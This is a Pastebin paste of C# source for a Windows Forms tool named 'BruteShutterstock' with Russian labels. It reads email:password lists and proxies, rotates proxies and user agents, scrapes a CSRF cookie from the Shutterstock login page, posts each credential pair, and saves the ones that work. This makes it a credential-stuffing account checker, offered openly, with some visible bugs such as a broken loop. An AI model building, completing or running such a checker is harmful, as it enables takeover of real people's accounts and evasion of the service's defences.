Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- namespace BruteShutterstock
- {
- public partial class Form1 : Form
- {
- Random Rand = new Random();
- public Form1()
- {
- InitializeComponent();
- }
- private void button4_Click(object sender, EventArgs e)
- {
- string p3 = textBox3.Text;
- int k = 0, z = 0;
- listBox1.Items.Add("Good:0");
- listBox1.Items.Add("Bad:0");
- string kol = textBox4.Text;
- int kol1 = Convert.ToInt32(kol);
- string[] lines1 = File.ReadAllLines(textBox1.Text);
- if (kol1 > lines1.Length)
- { kol1 = lines1.Length; }
- Thread potok = new Thread(new ParameterizedThreadStart(registr));
- potok.Start(0);
- for (int i = 1; i < kol1; i = +9)
- {
- }
- }
- private void button1_Click(object sender, EventArgs e)
- {
- OpenFileDialog ofd = new OpenFileDialog();
- if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
- {
- FileInfo fi = new FileInfo(ofd.FileName);
- string path = ofd.FileName;
- textBox1.Text = path;
- listBox1.Items.Clear();
- string[] lines1 = File.ReadAllLines(textBox1.Text);
- listBox1.Items.Add("Размер базы : " + lines1.Length);
- }
- }
- private void button2_Click(object sender, EventArgs e)
- {
- OpenFileDialog ofd = new OpenFileDialog();
- if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
- {
- FileInfo fi = new FileInfo(ofd.FileName);
- string path = ofd.FileName;
- textBox2.Text = path;
- string[] lines2 = File.ReadAllLines(textBox2.Text);
- listBox1.Items.Add("Кол-во проксей : " + lines2.Length);
- }
- }
- public string login1(string basa)
- {
- string[] strs = basa.Split(':');
- string login = strs[0];
- return login;
- }
- public string password(string basa)
- {
- string[] strs = basa.Split(':');
- string password = strs[1];
- return password;
- }
- public string domain(string basa)
- {
- string ps = login1(basa);
- string[] strs = ps.Split('@');
- string login = strs[1];
- return login;
- }
- public string user(string basa)
- {
- string ps = login1(basa);
- string[] strs = ps.Split('@');
- string login = strs[0];
- return login;
- }
- private void button3_Click(object sender, EventArgs e)
- {
- OpenFileDialog ofd = new OpenFileDialog();
- if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
- {
- FileInfo fi = new FileInfo(ofd.FileName);
- string path = ofd.FileName;
- textBox3.Text = path;
- }
- }
- public void registr(object c)
- {
- int i = (int)c;
- string p1 = textBox1.Text;
- string p2 = textBox2.Text;
- string p3 = textBox3.Text;
- string[] lines1 = File.ReadAllLines(p1);
- string[] lines2 = File.ReadAllLines(p2);
- if (i < lines1.Length)
- {
- using (var request = new HttpRequest())
- {
- var useragenT = Http.OperaUserAgent();
- int ran = Rand.Next(0, lines2.Length);
- request.Proxy = HttpProxyClient.Parse(lines2[ran]);
- var useraGENT = Http.ChromeUserAgent();
- request.UserAgent = useraGENT;
- request.AddHeader("Upgrade-Insecure-Requests", "1");
- var result = request.Get("https://accounts.shutterstock.com/login");
- var cookies = result.Cookies;
- var csrf = "";
- foreach (var m in cookies)
- if (m.Key == "did")
- csrf = m.Value;
- result = request.Get("https://accounts.shutterstock.com/login");
- request.UserAgent = useraGENT;
- request.Cookies = cookies;
- string data = "_csrf=" + csrf + "&next=%2F&username=" + user(lines1[i]) + "%40" + domain(lines1[i]) + "&password=" + password(lines1[i]) + "&login=";
- result = request.Post("https://accounts.shutterstock.com/login?next=%2F", data, "application/x-www-form-urlencoded");
- var cookiesi = result.Cookies;
- var ce = "";
- foreach (var m in cookies)
- if (m.Key == "proof")
- ce = m.Value;
- if (ce != "")
- {
- string k = listBox1.Items[2].ToString();
- string[] strs = k.Split(':');
- string cislo = strs[1];
- int ch = Convert.ToInt32(cislo);
- ch = ch + 1;
- listBox1.Items.RemoveAt(2);
- listBox1.Items.Insert(2, "Good:" + ch);
- using (StreamWriter sw = File.AppendText(p3))
- {
- sw.WriteLine(lines1[i]);
- }
- }
- else
- {
- string k = listBox1.Items[3].ToString();
- string[] strs = k.Split(':');
- string cislo = strs[1];
- int ch = Convert.ToInt32(cislo);
- ch = ch + 1;
- listBox1.Items.RemoveAt(3);
- listBox1.Items.Insert(3, "Bad : " + ch);
- }
- }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement